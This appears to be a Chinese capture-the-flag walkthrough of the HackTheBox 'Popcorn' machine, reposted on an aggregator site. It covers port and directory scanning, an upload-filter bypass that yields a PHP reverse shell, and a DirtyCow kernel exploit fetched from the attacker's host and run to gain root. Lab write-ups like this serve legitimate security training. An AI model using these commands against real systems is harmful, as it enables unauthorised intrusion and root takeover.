HackTheBox-Machines--Popcorn

news2024/10/6 8:34:38

文章目录

  • 0x01 端口扫描
  • 0x02 测试思路
    • 2.1 80端口测试
  • 0x03 /torrent 目录文件上传测试
  • 0x04 权限提升


Popcorn 测试过程

0x01 端口扫描


(base) gryphon@wsdl ~ %nmap -sC -sV 10.129.138.22
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-28 14:22 CST
Nmap scan report for 10.129.138.59
Host is up (0.32s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT     STATE    SERVICE     VERSION
22/tcp   open     ssh         OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 3e:c8:1b:15:21:15:50:ec:6e:63:bc:c5:6b:80:7b:38 (DSA)
|_  2048 aa:1f:79:21:b8:42:f4:8a:38:bd:b8:05:ef:1a:07:4d (RSA)
80/tcp   open     http        Apache httpd 2.2.12
|_http-server-header: Apache/2.2.12 (Ubuntu)
|_http-title: Did not follow redirect to http://popcorn.htb/
2608/tcp filtered wag-service
5298/tcp filtered presence
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 128.61 seconds

0x02 测试思路


2.1 80端口测试

echo "10.129.138.22 popcorn.htb" | sudo tee -a /etc/hosts

  1.检查功能请求及源代码敏感信息泄漏 – 无可利用点

在这里插入图片描述

在这里插入图片描述

  2.目录扫描

(base) gryphon@wsdl gobuster %./gobuster dir -u http://popcorn.htb/ -w directory-list-2.3-medium.txt 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://popcorn.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index                (Status: 200) [Size: 177]
/test                 (Status: 200) [Size: 47355]
/torrent              (Status: 301) [Size: 312] [--> http://popcorn.htb/torrent/]
/rename               (Status: 301) [Size: 311] [--> http://popcorn.htb/rename/]

  目录扫描发现目录/index、/test、/torrent、/rename,对目录进行访问

http://popcorn.htb/test

  phpinfo()相关信息:

在这里插入图片描述

http://popcorn.htb/rename

  用于重命名文件的 API 端点 – 暂无无可利用

在这里插入图片描述

http://popcorn.htb/torrent

  /torrent 提供了 Torrent Hoster 的一个实例,并且存在一个上传接口

在这里插入图片描述

  上传文件需要有登录权限,页面存在注册接口,注册后登录进行文件上传

在这里插入图片描述

在这里插入图片描述

0x03 /torrent 目录文件上传测试


  上传php文件后显示,This is not a valid torrent file ,尝试绕过上传文件限制无果。

在这里插入图片描述

  对/torrent目录进行模糊测试

(base) gryphon@wsdl gobuster %./gobuster dir -u http://popcorn.htb/torrent -w directory-list-2.3-medium.txt
/download             (Status: 200) [Size: 0]
/images               (Status: 301) [Size: 319] [--> http://popcorn.htb/torrent/images/]
/rss                  (Status: 200) [Size: 968]
/login                (Status: 200) [Size: 8412]
/templates            (Status: 301) [Size: 322] [--> http://popcorn.htb/torrent/templates/]
/users                (Status: 301) [Size: 318] [--> http://popcorn.htb/torrent/users/]
/admin                (Status: 301) [Size: 318] [--> http://popcorn.htb/torrent/admin/]
/health               (Status: 301) [Size: 319] [--> http://popcorn.htb/torrent/health/]
/browse               (Status: 200) [Size: 9320]
/comment              (Status: 200) [Size: 936]
/upload               (Status: 301) [Size: 319] [--> http://popcorn.htb/torrent/upload/]
/css                  (Status: 301) [Size: 316] [--> http://popcorn.htb/torrent/css/]
/edit                 (Status: 200) [Size: 0]
/lib                  (Status: 301) [Size: 316] [--> http://popcorn.htb/torrent/lib/]
/database             (Status: 301) [Size: 321] [--> http://popcorn.htb/torrent/database/]
/secure               (Status: 200) [Size: 4]
/js                   (Status: 301) [Size: 315] [--> http://popcorn.htb/torrent/js/]
/logout               (Status: 200) [Size: 183]
/preview              (Status: 200) [Size: 28104]
/config               (Status: 200) [Size: 0]
/readme               (Status: 301) [Size: 319] [--> http://popcorn.htb/torrent/readme/]
/thumbnail            (Status: 200) [Size: 1789]
/torrents             (Status: 301) [Size: 321] [--> http://popcorn.htb/torrent/torrents/]
/validator            (Status: 200) [Size: 0]

在这里插入图片描述

  th_database.sql 表发现存在用户 admin 以及 admin 用户的密码哈希,解密后密码为:admin12,但是登录失败。

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

  重新回到上传页面,之前上传php文件报错:This is not a valid torrent file,现在上传torrent文件,观察页面响应。

  上传了torrent文件后,页面存在一个Screenshots Edit this torrent 编辑 torrent 截图的选项

在这里插入图片描述

在这里插入图片描述

  上传.jpg文件,上传成功,使用burp更改上传文件后缀为php,响应显示上传成功

在这里插入图片描述

在这里插入图片描述

  访问 http://popcorn.htb/torrent/upload/,发现上传的 f24f4f54df51118b03f99c74416e4554ab88d22b.php 文件,开启监听,访问该php文件

在这里插入图片描述

gryphon@wsdl ~ %ncat -lnvp 4444
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.138.22:36379.
Linux popcorn 2.6.31-14-generic-pae #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009 i686 GNU/Linux
 06:59:53 up  1:26,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("bash")'

0x04 权限提升


  1.上传linpeas.sh脚本检查可提权项目

www-data@popcorn:/tmp$ wget http://10.10.14.25:8000/linpeas.sh
wget http://10.10.14.25:8000/linpeas.sh
--2024-05-28 07:11:49--  http://10.10.14.25:8000/linpeas.sh
Connecting to 10.10.14.25:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 860308 (840K) [application/x-sh]
Saving to: `linpeas.sh'

100%[======================================>] 860,308      405K/s   in 2.1s    

2024-05-28 07:11:52 (405 KB/s) - `linpeas.sh' saved [860308/860308]
www-data@popcorn:/tmp$ bash linpeas.sh
bash linpeas.sh

							   ╔═══════════════════╗
═══════════════════════════════╣ Basic information ╠═══════════════════════════════
                               ╚═══════════════════╝
OS: Linux version 2.6.31-14-generic-pae (buildd@rothera) (gcc version 4.4.1 (Ubuntu 4.4.1-4ubuntu8) ) #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009
User & Groups: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Hostname: popcorn
Writable folder: /dev/shm
[+] /bin/ping is available for network discovery (linpeas can discover hosts, learn more with -h)
[+] /bin/bash is available for network discovery, port scanning and port forwarding (linpeas can discover hosts, scan ports, and forward ports. Learn more with -h)
[+] /bin/nc is available for network discovery & port scanning (linpeas can discover hosts and scan ports, learn more with -h)



Caching directories . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . DONE

_=/usr/bin/env

╔══════════╣ Searching Signature verification failed in dmesg
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#dmesg-signature-verification-failed
dmesg Not Found

╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester

[+] [CVE-2016-5195] dirtycow

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
   Exposure: probable
   Tags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},ubuntu=16.04|14.04|12.04
   Download URL: https://www.exploit-db.com/download/40611
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2016-5195] dirtycow 2

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
   Exposure: probable
   Tags: debian=7|8,RHEL=5|6|7,ubuntu=14.04|12.04,ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic}
   Download URL: https://www.exploit-db.com/download/40839
   ext-url: https://www.exploit-db.com/download/40847
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2010-3904] rds

   Details: http://www.securityfocus.com/archive/1/514379
   Exposure: probable
   Tags: debian=6.0{kernel:2.6.(31|32|34|35)-(1|trunk)-amd64},[ ubuntu=10.10|9.10 ],fedora=13{kernel:2.6.33.3-85.fc13.i686.PAE},ubuntu=10.04{kernel:2.6.32-(21|24)-generic}
   Download URL: http://web.archive.org/web/20101020044048/http://www.vsecurity.com/download/tools/linux-rds-exploit.c

  2.脏牛提权

www-data@popcorn:/tmp$ wget http://10.10.14.25:8000/dirty.c
wget http://10.10.14.25:8000/dirty.c
--2024-05-28 08:44:21--  http://10.10.14.25:8000/dirty.c
Connecting to 10.10.14.25:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4815 (4.7K) [text/x-c]
Saving to: `dirty.c'
100%[======================================>] 4,815       --.-K/s   in 0s      
2024-05-28 08:44:22 (503 MB/s) - `dirty.c' saved [4815/4815]
dirty.c: line 13: `// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):'

www-data@popcorn:/tmp$ gcc -pthread dirty.c -o dirty -lcrypt
gcc -pthread dirty.c -o dirty -lcrypt

www-data@popcorn:/tmp$ chmod +x dirty
chmod +x dirty

www-data@popcorn:/tmp$ ./dirty
./dirty
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: aqi
Complete line:
firefart:fiSU3eU26MqnA:0:0:pwned:/root:/bin/bash
......
DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd

www-data@popcorn:/tmp$ su firefart
su firefart
Password: aqi
firefart@popcorn:/tmp# id
id
uid=0(firefart) gid=0(root) groups=0(root)
firefart@popcorn:/tmp# cat /root/root.txt
cat /root/root.txt
23092ecffb5aa34b5e83605e1ea2c267

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1711210.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux shell编程学习笔记51: cat /proc/cpuinfo:查看CPU详细信息

0 前言 2024年的网络安全检查又开始了,对于使用基于Linux的国产电脑,我们可以编写一个脚本来收集系统的有关信息。对于中央处理器CPU比如,我们可以使用cat /proc/cpuinfo命令来收集中央处理器CPU的信息。 1. /proc/cpuinfo 保存了系统的cpu…

贵州大学24计算机考研数据速览,国家重点实验室22408复试线285分!贵州大学计算机考研考情分析!

贵州大学计算机科学与技术学院坐落在贵州大学北校区(贵阳花溪)。 学院现有教职工139人,其中专职教师126人,教授17人,副教授37人,讲师46人,高级实验师4人,实验师17人。具有博士学位的…

【易错题】数据可视化基础练习题(30道选择题)#CDA Level 1

本文整理了数据可视化基础知识相关的练习题,共30道,适用于想巩固数据可视化知识的同学,也可作为备考CDA一级的补充习题。来源:如荷学数据科学题库(技术专项-可视化)。 1) 2) 3&…

通义千问图像识别功能的23个实用案例

●给出穿搭建议 这位女士佩戴的是一款精致的长款耳坠,设计上融合了复古和现代元素。为了更好地搭配这款耳环,以下是一些建议: 服装风格:由于耳环本身具有一定的华丽感,建议选择简约而优雅的服装来平衡整体造型。可以选…

栈和队列专题(LeetCode)

目录 有效的括号题解代码加解释 用队列实现栈题解代码加解释 设计循环队列题解代码加解释 用栈实现队列题解代码加解释 有效的括号 题解 左括号从s字符串中取出来放入栈中 s中就只有右括号了 那么栈顶的左括号和s的右括号匹配即可 代码中也详细解释了左括号和右括号多少的问题…

如何成为快手外卖代理?本地生活服务平台加盟条件解析

近年来,以抖音、快手和小红书等为代表的互联网大厂纷纷进军本地生活领域,改变美团和饿了么二分天下的这一局面的同时,也让本地生活成为了众多创业者眼中的“香饽饽”。其中,快手凭借着其庞大的用户群体,让快手团购外卖…

关于本人VIP付费文章说明

郑重声明:我写博客只是为了记录分享经验 自从上次写完数据结构系列后我就一直没有登陆,目前也没打算继续开新内容。今天偶然发现我之前写的文章被设为vip文章,要vip解锁才能看,我很确定当初我发布的时候选择的是公开,…

LeetCode 474.一和零

没做出来,最后看了解析,看了半天才懂。 我一开始把这个题当成多重背包来做了,因为有0和1两个参数需要考虑,但是中间很多情况不知道怎么处理。后面看了解析才知道这是个01背包问题,0和1都是一个物品上的属性&#xff0c…

HTML静态网页成品作业(HTML+CSS)——游戏阴阳师介绍网页(4个页面)

🎉不定期分享源码,关注不丢失哦 文章目录 一、作品介绍二、作品演示三、代码目录四、网站代码HTML部分代码 五、源码获取 一、作品介绍 🏷️本套采用HTMLCSS,未使用Javacsript代码,共有4个页面。 二、作品演示 三、代…

RDP方式连接服务器上传文件方法

随笔 目录 1. RDP 连接服务器 2. 为避免rdp 访问界面文字不清晰 3. 本地上传文件到服务器 1. RDP 连接服务器 # mstsc 连接服务器step1: 输入mstscstep2: 输入 IP, username, passwd 2. 为避免rdp 访问界面文字不清晰 解决方法: 3. 本地上传文件到服务器 step…

《KAN》论文笔记

原文出处 KAN: Kolmogorov–Arnold Networks (arxiv.org)https://arxiv.org/html/2404.19756v1 论文笔记 What 《KAN: Kolmogorov–Arnold Networks》——我们提出了 KolmogorovArnold Networks (KANs) 作为多层感知器 (MLP) 的有前途的替代方案。 我们表明,这…

小程序自动化辅助渗透脚本(2024)

简介 1.还在一个个反编译小程序吗? 2.还在自己一个个注入hook吗? 3.还在一个个查看找接口、查找泄露吗? 现在有自动化辅助渗透脚本了,自动化辅助反编译、自动化注入hook、自动化查看泄露 注:本工具仅用于学习交流&…

数据库系统概论(个人笔记)(第三部分)

数据库系统概论(个人笔记) 文章目录 数据库系统概论(个人笔记)3、SQL介绍3.1 SQL查询语言概述3.2 SQL数据定义3.3 SQL查询的基本查询结构3.4 其他基本操作3.5 设置操作3.6 空值3.7 聚合函数3.8 嵌套子查询3.9 数据库的修改 3、SQL…

VSCODE常用插件记录

重点提名: back & ForthBookmarksC/ChighlightSSH FS //SSH插件

SQL2017附加从其他电脑复制过来的mdf数据后出现【只读】无法写入数据

1. 尝试给它所在的文件夹的属性中的“只读”去勾,无果。 2. 其他文章提示是文件的问题。 该错误为文件权限错误,找到该数据库的 数据库文件 和 日志文件,在安全中添加 Authenticated Users 用户的权限,并设置 “完全控制”

Linux:进程控制(二.详细讲解进程程序替换)

上次讲了:Linux:进程地址空间、进程控制(一.进程创建、进程终止、进程等待) 文章目录 1.进程程序替换1.1概念1.2原理1.3使用一个exec 系列函数execl()函数结论与细节 2.多进程时的程序替换3.其他几个exec系…

【链表】Leetcode 82. 删除排序链表中的重复元素 II【中等】

删除排序链表中的重复元素 II 给定一个已排序的链表的头 head , 删除原始链表中所有重复数字的节点,只留下不同的数字 。返回 已排序的链表 。 示例 1: 输入:head [1,2,3,3,4,4,5] 输出:[1,2,5] 解题思路 由于链表…

【小呆的力学笔记】连续介质力学的知识点回顾一:运动和变形

文章目录 1. 运动的描述2. 拉格朗日描述下的变形2.1 线元的变化2.2 体元的变化2.3 面元的变化 1. 运动的描述 在连续介质力学中,存在着两种对运动的描述,一种为拉格朗日描述,即通过描述每个物质点的运动来描述整个变形体的运动,也…

电脑如何远程访问?

【天联】的使用场景 电脑远程访问在现代科技的发展中扮演了重要的角色。对于企业和个人用户来说,远程访问的便利性提供了许多机会和可能性。作为一种高效的工具,【天联】具有广泛的应用场景,可以实现异地统一管理、协同办公以及远程数据采集…

一文了解MyBatis

文章目录 MyBatis1. MyBatis的执行流程2. MyBatis是否支持延迟加载3. MyBatis延迟加载的底层原理4. MyBatis的二级缓存机制用过吗5. 谈谈MyBatis框架的优势6. 简单描述MyBatis的工作原理7. MyBatis中的sql标签8. MyBatis中的${}和#{}的区别9. MyBatis中ResulyMap的作用[重要]10…